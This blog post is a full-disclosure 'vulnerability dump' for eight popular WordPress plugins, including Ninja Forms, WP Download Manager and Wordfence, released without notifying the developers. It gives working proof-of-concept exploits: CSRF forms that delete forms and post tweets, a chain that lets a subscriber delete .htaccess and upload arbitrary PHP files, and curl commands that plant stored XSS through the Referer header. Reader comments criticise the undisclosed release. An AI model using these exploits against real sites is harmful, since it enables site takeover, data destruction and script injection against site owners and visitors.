WordPress Plugin Vulnerability Dump – Part 2

And we’re back. Check out Part 1 if you haven’t yet. Much like before, developers of these plugins have not been contacted in advance. These vulnerabilities were trivial to find and as you can see from these vulnerabilities and others that have been disclosed in the past few months, popular =/= secure. More vulnerabilities will be posted as time permits.

Ninja Forms v2.7.7
Plugin Homepage
Downloads: 500k
This plugin has CSRF/authorization bypass vulnerabilities.
No nonces on ajax calls. Boo.

<html><body>
<form action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>

The above example deletes a form. You can also add/remove fields and a bunch of other stuff. It looks like at least some of these are old functions that don’t seem to be used anymore. Some of them are partially commented out, and others are non functional because of wordpress’ magic quotes feature that was added in 3.0. The ajax CSRF functions also fail to check the user’s capabilities, therefore any user, even a subscriber, can call these functions and delete/modify forms. One of the more interesting ajax functions is ninja_forms_edit_sub, which would, if it still functioned correctly, allow you to edit form submissions without the input being sanitized. It also calls unserialize() on user supplied data which would normally be an oppurtunity for PHP object injection, but magic quotes jacks up most serialized data.

Contact Form (from BestWebSoft) v3.83
Plugin Homepage
Downloads: 2.3m
I posted a minor vulnerability for this plugin in part 1. This is distinct from that. The plugin suffers from an email header injection vulnerability. Newlines are not stripped from the “name” field, allowing an attacker to insert CC and BCC lines into the email. The plugin must be configured to use the user supplied name in the email’s “From” field and must use “mail” rather than “wp-mail”.

You may need to visit the contact form page before submitting the form because of some $_SESSION stuff.

                if ( isset( $_SESSION['cntctfrm_send_mail'] ) && true == $_SESSION['cntctfrm_send_mail'] )
                        return true;

The vulnerable code:

                                                if ( 'custom' == $cntctfrm_options['cntctfrm_select_from_field'] )
                                                        $from_field_name = stripslashes( $cntctfrm_options['cntctfrm_from_field'] );
                                                else
                                                        $from_field_name = $name;

                                                /* Additional headers */
                                                if ( 'custom' == $cntctfrm_options['cntctfrm_from_email'] )
                                                        $headers .= 'From: ' . $from_field_name . ' <' . stripslashes( $cntctfrm_options['cntctfrm_custom_from_email'] ) . '>' . "\n";
                                                else
                                                        $headers .= 'From: ' . $from_field_name . ' <' . stripslashes( $email ) . '>' . "\n";

And the corresponding (non vulnerable) code when wp-mail is being used:

                                        /* Additional headers */
                                        if ( 'custom' == $cntctfrm_options['cntctfrm_from_email'] )
                                                $headers .= 'From: ' . stripslashes( $cntctfrm_options['cntctfrm_custom_from_email'] ) . '';
                                        else
                                                $headers .= 'From: ' . $email . '';

I think the difference might be a bug.

A little side note to the devs: Please don’t copy and paste the same 30 lines of input validation code all over the place. It makes your code harder to follow, uglier, and it’s unneccesary. And just please no to this:

$name = isset( $_POST['cntctfrm_contact_name'] ) ?  htmlspecialchars( stripslashes( $_POST['cntctfrm_contact_name'] ) ) : "";
...
$name = strip_tags( preg_replace( '/<[^>]*>/', '', preg_replace( '/<script.*<\/[^>]*>/', '', $name ) ) );

Contact Form 7 had a similar vulnerability about a year ago. The developer released a fixed version about a day after I informed him of it. Let’s see when a fix for this comes out.

WP to Twitter v2.9.3
Plugin Homepage
Downloads: 2m
WP to Twitter suffers from an authorization bypass vulnerability allowing any logged in user (even subscribers) to post tweets to to the admin’s twitter account. This is another case of no nonces and not checking users’ capabilities.

I would also like to apologize to @tiroshboaz, who immediately started following my twitter test account 5 minutes after I created it. It’s ok. Our common interest in nonces doesn’t mean we have to get married. He never replied. I think I came on too strong.

Xhanch – My Twitter v2.7.7
Plugin Homepage
Downloads: 1.3m
Xhanch – My Twitter suffers from CSRF vulnerabilities when the twitter widget is enabled.
Tweets can be deleted:

http://wptestbox1.dev/wordpress/?xmt_Primary_twt_id=508351521810300928

and if the “post tweet” feature is enabled, content can be tweeted to the admin’s twitter account.

<html><body>
<form method="post" action="http://wptestbox2.dev/wordpress/">
Account:<input name="cmd_xmt_Primary_post" value="1"><br>
tweet text: <input value="" name="txa_xmt_Primary_tweet"><br>
<input type="submit" value="Submit">
</form>
</body></html>

TinyMCE Advanced v4.1
Plugin Homepage
Downloads: 3.9m
There is a very minor CSRF in TinyMCE Advanced. You can use it to reset the settings to their defaults. With this you could, ummm, slightly irritate the admin maybe?

} elseif ( isset( $_POST['tadv-restore-defaults'] ) ) {
        // TODO admin || SA
        $this->admin_settings = $this->default_admin_settings;
        update_option( 'tadv_admin_settings', $this->default_admin_settings );

        // can 'save_posts' ?
        $this->settings = $this->default_settings;
        update_option( 'tadv_settings', $this->default_settings );

        $message = '<div class="updated"><p>' .  __('Default settings restored.', 'tinymce-advanced') . '</p></div>';
<html><body>
<form method="post" action="http://wptestbox1.dev/wordpress/wp-admin/options-general.php?page=tinymce-advanced">
Restore Defaults: <input name="tadv-restore-defaults" value="1"><br>
<input type="submit" value="Submit">
</form>
</body></html>

W3 Total Cache v0.9.4
Plugin Homepage
Downloads: 3.8m
Another small one here, but there is actually some potential for it to affect the site for visitors. The developer just introduced “edge mode”, which enables less thoroughly tested features. Edge mode is opt-in only, but of course there is no nonce, you know so CSRF. There are nonces everywhere else though.

http://wptestbox1.dev/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge

Another small thing I noticed is that there are also no nonces on the “w3tc_change_setting” ajax call. This can only be used after the plugin is upgraded from a previous version and the default settings have changed. It could allow an attacker to overwrite modified settings with new default ones, but you can only call it once per setting and the admin is prompted to change or leave the settings immediately after an upgrade. So there is basically no potential for this to ever be used in an attack, and the damage would probably be pretty limited in most cases anyway. The lack of nonces bothered me though, so devs please fix it.

WordPress Download Manager v2.6.92
Plugin Homepage
Downloads: 745k
WP Download Manager suffers from an authorization bypass vulnerability allowing a subscriber level user to upload and delete arbitrary files (yes, including php files). The plugin comes out of the box with a .htaccess file preventing direct access to files in the upload directory, but this can be deleted.
First we “create” a file named “.htaccess” in the database:

function wpdm_save_file(){    
       global $wpdb;
      if(isset($_POST['id'])&&isset($_POST['wpdmtask'])&&$_POST['wpdmtask']=='update'){
        extract($_POST);
              
             
            $file['category'] = serialize($file['category']);        
             
            $wpdb->update("ahm_files", $file, array("id"=>$_POST['id'])); 
           
            die('updated');
        
       }
       
       if($_POST['wpdmtask']=='create'){
            extract($_POST);
                          
            $file['show_counter'] = isset($file['show_counter'])?$file['show_counter']:0;
            $file['quota'] = $file['quota']?$file['quota']:0;
            $file['category'] = serialize($file['category']);  
            $file['title'] = esc_attr($file['title']);
            $id = $wpdb->insert("ahm_files", $file); 
            if(!$wpdb->insert_id){
                $wpdb->show_errors();
                $wpdb->print_error();
                die();               
            }
       echo $wpdb->insert_id; 
       die();
       }        
}

As you can see, there is no nonce here so any logged in user can do this.

<html><body>
<form method="post" action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php">
action:<input name="action" value="save_wpdm_file"><br>
wpdm task:<input name="wpdmtask" value="create"><br>
id: <input value="" name="id"><br>
title: <input value="" name="file[title]"><br>
desc: <input value="" name="file[description]"><br>
link label: <input value="Download" name="file[link_label]"><br>
password: <input value="" name="file[password]"><br>
quota: <input value="" name="file[quota]"><br>
download count: <input value="0" name="file[download_count]"><br>
show counter: <input value="0" name="file[show_counter]"><br>
file access: <input value="guest" name="file[access]"><br>
file name: <input value=".htaccess" name="file[file]"><br>
<input type="submit" value="Submit">
</form>
</body></html>

The above function returns the id number of the new file, which can then be deleted:

function wpdm_delete__file(){
  global $wpdb;  
  $id = intval($_REQUEST['file']);
  $data = $wpdb->get_row("select * from ahm_files where id='$id'",ARRAY_A);  
  if(file_exists(UPLOAD_DIR.'/'.$data['file']))    
    @unlink(UPLOAD_DIR.'/'.$data['file']);    
  else if(file_exists($data['file']))    
    @unlink($data['file']); 
  unset($data['file']);
  $wpdb->query("update ahm_files set `file`='' where id='$id'");   
  die('ok');
}

Once again, no nonce, so we delete it:

http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php?action=delete_file&file=3

The function to upload a new file requires a nonce, but fails to check user capabilities. Normally the nonce would stop us at this point, but it’s actually possible to get valid nonce.

// handle uploaded file here
function wpdm_check_upload(){
  check_ajax_referer('photo-upload');  
  if(file_exists(UPLOAD_DIR.$_FILES['async-upload']['name']))
  $filename = time().'wpdm_'.$_FILES['async-upload']['name'];  
  else
  $filename = $_FILES['async-upload']['name'];  
  move_uploaded_file($_FILES['async-upload']['tmp_name'],UPLOAD_DIR.$filename);
  $filesize = number_format(filesize(UPLOAD_DIR.'/'.$filename)/1025,2);        
  echo $filename."|||".$filesize;
  exit;
}
add_action('admin_init', 'wpdm_free_tinymce');

The “admin_init” action is called whenever a page inside /wp-admin/ is loaded.

function wpdm_free_tinymce(){
    global $wpdb;
    if(!isset($_GET['wpdm_action'])||$_GET['wpdm_action']!='wpdm_tinymce_button') return false;

If $_GET[‘wpdm_action’] == ‘wpdm_tinymce_button’, the function doesn’t bail out, and we get this:

    // additional post data to send to our ajax hook
    'multipart_params'    => array(
      '_ajax_nonce' => wp_create_nonce('photo-upload'),
      'action'      => 'file_upload',            // the ajax action name
    ),
  );

You don’t need to extract the nonce and create your own form though, the form on a page with that GET parameter is actually functional. i.e. go here to upload your files:

http://wptestbox1.dev/wordpress/wp-admin/profile.php?wpdm_action=wpdm_tinymce_button

Wordfence Security v5.2.2
Plugin Homepage
Downloads: 2.8m
Let’s go ahead and end this post with something I personally find to be absolutely hilarious. Wordfence Security is vulnerable to stored XSS. On the “Live Traffic” screen, the referer field is not adequately filtered.
This:

curl -H 'Referer: javascript:alert(0);' 'http://wptestbox1.dev/wordpress/?p=100'

Produces this:
wordfence1

left <a href="javascript:alert(0);" target="_blank" style="color: #999; font-weight: normal;">javascript:alert(0);</a> and          tried to access

As you can see this produces a link that when clicked on will execute the javascript in the referer header. But you have to click on it, that’s boring. The recent traffic screen fails to perform any sanitization on the referer string at all. Viewing the page is enough execute the javascript.
This:

curl -H 'Referer: http://google.com/a<script>alert(0);</script>' 'http://wptestbox1.dev/wordpress/?p=90'

Results in this:
wordfence2

Author: [email protected]

Comments

  1. It’s a good thing that you check out the WordPress plugins but to me it’s completely idiotic that you don’t inform the developers. This shows that you want to bash WordPress and the plugins build for it without any respect for it’s developers.

    For example I know the developers of TinyMCE Advanced and WP to Twitter are more then happy to listen to your feedback and apply them.

  2. I sincerely appreciate being notified about any security issue. However, this approach to disclosure is a massive disservice to the thousands of users of my plug-in, and is severely inconsiderate to me. I am not difficult to contact privately.

  3. Wordfence plugin was fixed with version 5.2.3 Real responsible of you to not bother even talking to the dev’s first

Leave a Reply